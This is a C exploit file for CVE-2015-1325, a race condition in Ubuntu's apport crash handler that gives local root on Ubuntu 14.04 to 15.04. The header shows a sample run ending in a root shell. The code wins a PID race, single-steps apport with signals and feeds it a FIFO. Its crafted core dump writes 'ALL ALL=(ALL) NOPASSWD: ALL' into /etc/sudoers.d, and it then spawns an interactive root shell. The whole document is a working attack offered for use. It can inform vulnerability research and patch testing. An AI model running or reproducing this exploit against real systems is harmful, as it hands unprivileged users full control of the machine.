/*
# Exploit Title: apport/ubuntu local root race condition
# Date: 2015-05-11
# Exploit Author: rebel
# Version: ubuntu 14.04, 14.10, 15.04
# Tested on: ubuntu 14.04, 14.10, 15.04
# CVE : CVE-2015-1325
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1325 / apport-pid-race.c
apport race conditions
ubuntu local root
tested on ubuntu server 14.04, 14.10, 15.04
core dropping bug also works on older versions, but you can't
write arbitrary contents. on 12.04 /etc/logrotate.d might work,
didn't check. sudo and cron will complain if you drop a real ELF
core file in sudoers.d/cron.d
unpriv@ubuntu-1504:~$ gcc apport-race.c -o apport-race && ./apport-race
created /var/crash/_bin_sleep.1002.crash
crasher: my pid is 1308
apport stopped, pid = 1309
getting pid 1308
current pid = 1307..2500..5000..7500..10000........
** child: current pid = 1308
** child: executing /bin/su
Password: sleeping 2s..
checker: mode 4532
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..
checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
# id
uid=0(root) gid=0(root) groups=0(root)
85ad63cf7248d7da46e55fa1b1c6fe01dea43749
2015-05-10
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>
char *crash_report = "ProblemType: Crash\nArchitecture: amd64\nCrashCounter: 0\nDate: Sat May 9 18:18:33 2015\nDistroRelease: Ubuntu 15.04\nExecutablePath: /bin/sleep\nExecutableTimestamp: 1415000653\nProcCmdline: sleep 1337\nProcCwd: /home/rebel\nProcEnviron:\n XDG_RUNTIME_DIR=<set>\nProcMaps:\n 00400000-00407000 r-xp 00000000 08:01 393307 /bin/sleep\nProcStatus:\n Name: sleep\nSignal: 11\nUname: Linux 3.19.0-15-generic x86_64\nUserGroups:\n_LogindSession: 23\nCoreDump: base64\n H4sICAAAAAAC/0NvcmVEdW1wAA==\n U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA==\n";
/*
last line is the stuff we write to the corefile
c = zlib.compressobj(9,zlib.DEFLATED,-zlib.MAX_WBITS)
t = '# \x01\x02\x03\x04\n\n\nALL ALL=(ALL) NOPASSWD: ALL\n'
# need some non-ASCII bytes so it doesn't turn into a str()
# which makes apport fail with the following error:
# os.write(core_file, r['CoreDump'])
# TypeError: 'str' does not support the buffer interface
t = bytes(t,'latin1')
c.compress(t)
a = c.flush()
import base64
base64.b64encode(a)
# b'U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA=='
*/
int apport_pid;
char report[128];
void steal_pid(int wanted_pid)
{
int x, pid;
pid = getpid();
fprintf(stderr,"getting pid %d\n", wanted_pid);
fprintf(stderr,"current pid = %d..", pid);
for(x = 0; x < 500000; x++) {
pid = fork();
if(pid == 0) {
pid = getpid();
if(pid % 2500 == 0)
fprintf(stderr,"%d..", pid);
if(pid == wanted_pid) {
fprintf(stderr,"\n** child: current pid = %d\n", pid);
fprintf(stderr,"** child: executing /bin/su\n");
execl("/bin/su", "su", NULL);
}
exit(0);
return;
}
if(pid == wanted_pid)
return;
wait(NULL);
}
}
void checker(void)
{
struct stat s;
int fd, mode, x;
stat(report, &s);
fprintf(stderr,"\nchecker: mode %d\nwaiting for file to be unlinked..", s.st_mode);
mode = s.st_mode;
while(1) {
// poor man's pseudo-singlestepping
kill(apport_pid, SIGCONT);
kill(apport_pid, SIGSTOP);
// need to wait a bit for the signals to be handled,
// otherwise we'll miss when the new report file is created
for(x = 0; x < 100000; x++);
stat(report, &s);
if(s.st_mode != mode)
break;
}
fprintf(stderr,"\nchecker: new mode %d .. done\n", s.st_mode);
unlink(report);
mknod(report, S_IFIFO | 0666, 0);
fprintf(stderr,"checker: SIGCONT\n");
kill(apport_pid, SIGCONT);
fprintf(stderr,"checker: writing core\n");
fd = open(report, O_WRONLY);
write(fd, crash_report, strlen(crash_report));
close(fd);
fprintf(stderr,"checker: done\n");
while(1)
sleep(1);
}
void crasher()
{
chdir("/etc/sudoers.d");
fprintf(stderr,"crasher: my pid is %d\n", getpid());
execl("/bin/sleep", "sleep", "1337", NULL);
exit(0);
}
int main(void)
{
int pid, checker_pid, fd;
struct rlimit limits;
struct stat s;
limits.rlim_cur = RLIM_INFINITY;
limits.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &limits);
pid = fork();
if(pid == 0)
crasher();
sprintf(report, "/var/crash/_bin_sleep.%d.crash", getuid());
unlink(report);
mknod(report, S_IFIFO | 0666, 0);
fprintf(stderr,"created %s\n", report);
usleep(300000);
kill(pid, 11);
apport_pid = pid + 1;
// could check that pid+1 is actually apport here but it's
// kind of likely
fprintf(stderr,"apport stopped, pid = %d\n", apport_pid);
usleep(300000);
kill(pid, 9);
steal_pid(pid);
sleep(1);
kill(apport_pid, SIGSTOP);
checker_pid = fork();
if(checker_pid == 0) {
checker();
exit(0);
}
fprintf(stderr,"sleeping 2s..\n");
sleep(2);
fprintf(stderr,"writing to fifo\n");
fd = open(report, O_WRONLY);
write(fd, crash_report, strlen(crash_report));
close(fd);
fprintf(stderr,"fifo written.. wait...\n");
fprintf(stderr,"waiting for /etc/sudoers.d/core to appear..\n");
while(1) {
stat("/etc/sudoers.d/core", &s);
if(s.st_size == 37)
break;
usleep(100000);
}
fprintf(stderr,"success\n");
kill(pid, 9);
kill(checker_pid, 9);
return system("sudo -- sh -c 'stty echo;sh -i'");
}